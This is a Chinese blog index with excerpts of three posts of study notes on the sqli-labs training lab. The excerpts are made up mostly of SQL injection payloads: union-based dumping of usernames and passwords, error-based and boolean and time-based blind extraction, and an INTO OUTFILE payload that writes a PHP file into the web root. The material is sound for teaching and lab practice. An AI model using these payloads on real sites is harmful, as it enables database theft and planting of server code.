SQL注入之旅 : Sqli Labs Part 3 - GET盲注

作者: 分类: Sql-Injection 时间: 2017-04-11 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第8,9,10三个实验,布尔型和时间型盲注(Blind SQL Injection, Boolean-Based | Time-Based),布尔型的话根据查询对错页面会有变化但不回显错误,而时间型页面不回显任何错误,也就没办法判断是否对错。可以看下老外(口音很操蛋就是了)的视频:布尔型时间型,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT LENGTH(USER());
SELECT IF((SELECT LENGTH(USER()))=14,1,2);
SELECT IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2);
SELECT IF((SUBSTR(USER(),1,1)= BINARY CHAR(114)),1,2);


SELECT IF(((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=4),1,2);
SELECT IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=ORD('e')),1,2);
SELECT 1=IF((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=6,1,2);


SELECT 1=IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name=0x656d61696c73)=2,1,2);
SELECT 1=IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name=0x656d61696c73 LIMIT 0,1),1,1))=105,1,2);


SELECT SLEEP(3);
SELECT BENCHMARK(1000000,SHA(1));
SELECT IF((SELECT DATABASE())="security",SLEEP(3),null);

AND IF((SELECT DATABASE())=0x7365637572697479,SLEEP(5),1)--+
AND IF((SELECT DATABASE())=0x7365637572697479,benchmark(10000000,sha(1)),1)--+

阅读全文»

SQL注入之旅 : Sqli Labs Part 2 - GET二次注入

作者: 分类: Sql-Injection 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第5,6个实验,二次注入(Double Query Injection),页面不回显,但是会报错。可以看下老外(口音很操蛋就是了)的视频,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT RAND();
SELECT RAND()*2;
SELECT FLOOR(RAND()*2);
SELECT DATABASE();
SELECT CONCAT((SELECT DATABASE()));
SELECT CONCAT((SELECT DATABASE()),0x3a);
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2));
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT FLOOR(RAND(0)*2);
SELECT COUNT(*),FLOOR(RAND(0)*2) FROM users;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT VERSION()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a;

阅读全文»

SQL注入之旅 : Sqli Labs Part 1 - GET报错注入

作者: 分类: Sql-Injection,Security 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

抛弃“简单的跑工具,跑不出来就放弃“的局面,开始潜下心来好好理一理SQL注入。每篇文章可能包含了sqli-labs里面的几个实验。

0x02 使用到的语句

# 查看该表有几个字段
' ORDER BY 3 --+
" ORDER BY 3 --+
') ORDER BY 3 --+

# 找到有漏洞的字段
AND 1=2 UNION SELECT 1,2,3 --+

# 联合查询
AND 1=2 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
AND 1=2 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+ (数据库十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+ (表的十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(username,char(32),password),3 from users --+ 

# 读写文件
AND 1=2 UNION SELECT 1,2,"<?php phpinfo();?>" into outfile "C:/Apache2.2/htdocs/sqli/Less-1/info.php" --+
AND 1=2 UNION SELECT 1,2,load_file("C:/Apache2.2/htdocs/sqli/Less-1/info.php") --+

阅读全文»